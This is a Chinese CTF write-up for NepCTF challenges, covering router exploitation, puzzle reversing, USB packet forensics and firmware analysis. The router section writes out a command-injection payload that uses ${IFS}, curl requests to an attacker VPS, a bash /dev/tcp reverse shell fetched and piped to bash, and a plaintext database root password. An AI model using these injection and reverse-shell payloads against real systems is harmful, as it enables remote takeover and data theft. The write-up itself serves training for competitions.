探测一下,发现能够出网带出数据,这里有一点小坑就是,请求的参数里不能有空格,可以用${IFS}
来代替空格
导致这个现象发生是因为这里
这里用了空格作为分割符来分割字符串,如果我们传进去的参数带有空格就会被分割了,从而丢掉了空格后边的数据
探测出网:
/setrouter?ip_address=123;curl${IFS}xxxx:2333
vps 收到了数据
接着反弹shell,同上面的原因,一样不能使用&
这个字符,我是使用curl
来执行远程的bash
文件
vps用户python启动一个http
python3 -m http.server 2334
sh里写反弹shell
bash -i >& /dev/tcp/xxx/2333 0>&1
接着靶机执行:
/setrouter?ip_address=123;curl${IFS}xxxx:2334/sh|bash
成功弹上shell
直接 cat README.txt
,得到flag1
NepRouter-白给 查看进程
收集到一些信息:
blood-pool-HRP
运行在 9999
端口,浏览器访问验证一下发现能访问
此时可以看到,这里需要我们输入flag
,把程序扒下来看一下。
先cd 到 /blood-pool
,然后看一下有什么
发现有一个flag.txt
,但没权限读,ssh.txt
里面是一个用户
熟悉的操作,在靶机用python启动一个http
服务
python3 -m http.server 9998
然后把 blood-pool-HRP
下载下来
接着把python服务终止掉,重新反弹shell
反编译程序,可以发现flag
是从数据库中查的。
在main_initDB
中可以看到数据库名TradeSecrets
接着查数据库,直接用mysql
查不了,可以用python连数据库查
python3 -c "import mysql.connector;DB_CONFIG = {'host': 'localhost','user': 'root','password': 'Nep+-*/HRP123456789','database':'TradeSecrets'};db = mysql.connector.connect(**DB_CONFIG);cursor = db.cursor();cursor.execute('select * from flag');res = cursor.fetchone();print(res);cursor.close();db.close()"
最终得到flag
NepCTF{U_GET_THE_TWO_IT_IS_EASY_NO_RIGHT?}
MISC NepMagic —— CheckIn 认真玩游戏即可得到flag
Nemophila 先看mimi.py
,通过分析可以得到key
源码:
import base64print ("这里有一个藏宝室,镇守着一个宝箱怪,当你说出正确的口令时,你也就快获得了这个屋子里最至高无上的宝物。" )print ("提示:宝箱怪只会提示你口令正确与否,请你试试吧!" )flag = input ('Turn in your guess: ' ) if len (flag) !=48 : print ("长度不对!" ) exit(1 ) if ord (flag.capitalize()[0 ]) != 83 or not flag[0 ].islower(): print ("Please try again!" ) exit(1 ) if flag[-3 :] != "ve}" : print ("Please try again!" ) exit(1 ) if flag.count(chr (95 )) != 4 : print ("Please try again!" ) exit(1 ) if base64.b64encode((flag[10 :13 ]+flag[28 :31 ]).encode('utf-8' )).decode() != 'RnJpSGlt' : print ("Please try again!" ) exit(1 ) if int (flag[24 :26 ]) > 10 and int (flag[24 :26 ]) < 20 and pow (int (flag[24 :26 ]),2 ,5 ) != 0 : print ("好像有点不对!" ) exit(1 ) number = flag[33 ] + flag[41 ] + flag[43 :45 ] if int (number) * 9_27 != 1028970 and not number.isnumeric(): print ("还是不对呢!" ) exit(1 ) if flag[35 :41 ].replace("e" , "1" ) != "1t1rna" : print ("Please try again!" ) exit(1 ) if flag[31 :33 ].swapcase() != "ME" : print ("这不是我!" ) exit(1 ) if list (map (len ,flag.split("_" ))) != [6 , 12 , 14 , 7 , 5 ] and list (map (len ,flag.split("&" ))) != [17 , 9 , 20 ]: print ("换个顺序!" ) exit(1 ) if ord (min (flag[:2 ].swapcase())) != 69 : print ("Please try again!" ) exit(1 ) if flag[2 ] + flag[4 :6 ] != "cet4" [:3 ]: print ("我不想考四级!" ) exit(1 ) new="" for i in flag[7 :10 ] + flag[18 ] + flag[26 ]: new += chr (ord (i) + 1 )if new != "jt|Df" : print ("Please try again!" ) exit(1 ) if "SunR" in flag and "eren" in flag: print ("好像对了!可以先去试试!" ) exit(1 ) print ("恭喜你~发现了上个世纪的秘密~快去向冒险家协会索要报酬吧!" )
最终得到
secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}
把这个拿去解压压缩包,得到新的文件,根据文件后缀,猜测原本应该是png
图片,拿正常文件的文件头和它做异或,发现key
还是上面那串
exp:
enc = open ('miaomiao.png' ,'rb' ).read() key = b'secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}' flag = [] for i in range (len (enc)): data = enc[i]^key[i%len (key)] flag.append(data) flag = bytes (flag) open ('flag.png' ,'wb' ).write(flag)
再将得到的文件修改高度,在文件底部得到flag。
3DNep 用 在线网站 查看模型,可以在模型底部看到一个汉信码
接着找一个 在线网站 扫码,即可得到flag
NepCamera 先将usb的数据提取出来
tshark -r NepCamera.pcapng -T fields -e usb.iso.data > test
接着通过观察,发现里面的数据有大量的ffd8ffe0
接着以\n
和,
为分割符,将所有数据分离,并将每条数据的前 24 个字符丢弃,合成一整条字符串。
最后以 ffd8ffe0
为界限,把所有图片提取出来
datas = open ('test' ,'r' ).read().strip().split('\n' ) hex_data = '' for i in datas: data = i.split(',' ) hex_data += '' .join([d[24 :] for d in data]) print (len (hex_data))cnt = 0 while True : start = hex_data.find('ffd8ffe0' ) if start == -1 : break end = hex_data[start+8 :].find('ffd8ffe0' ) if end == -1 : end = len (hex_data) out_data = hex_data[start:end] hex_data = hex_data[end:] out_data = bytes .fromhex(out_data) open ('./img/' +str (cnt)+'.png' ,'wb' ).write(out_data) cnt += 1 print (cnt)
通过查看图片,可以把flag抄下来
flag{Th3_c4mer4_takes_c1ear_pictures}
HardWare 火眼金睛 先用 binwalk
分离
binwalk NepCTF_m9gv1.bin -e
接着把*.7z*
文件删掉,用strings
简单分析,看那个可能是需要逆向的程序
通过排除法可以知道分离出来的19047F
可能是要分析的程序
接着把文件底部的一堆字符串复制出来处理
根据提示,有特殊的函数名,先猜测可能是base64
,搜索一下,发现真有个base64
接着根据base64
的特征去找,赌他一手结尾有=
,发现还真有
但这个字符串并不是base64
,只有大写字母+数字,复制下来用CyberChef
一把梭了
flag:
NepCTF{Y0u_G0t_K33n_1nS1ght_1n_vXw0rKs!!!_L3t's_G0_Furth3r}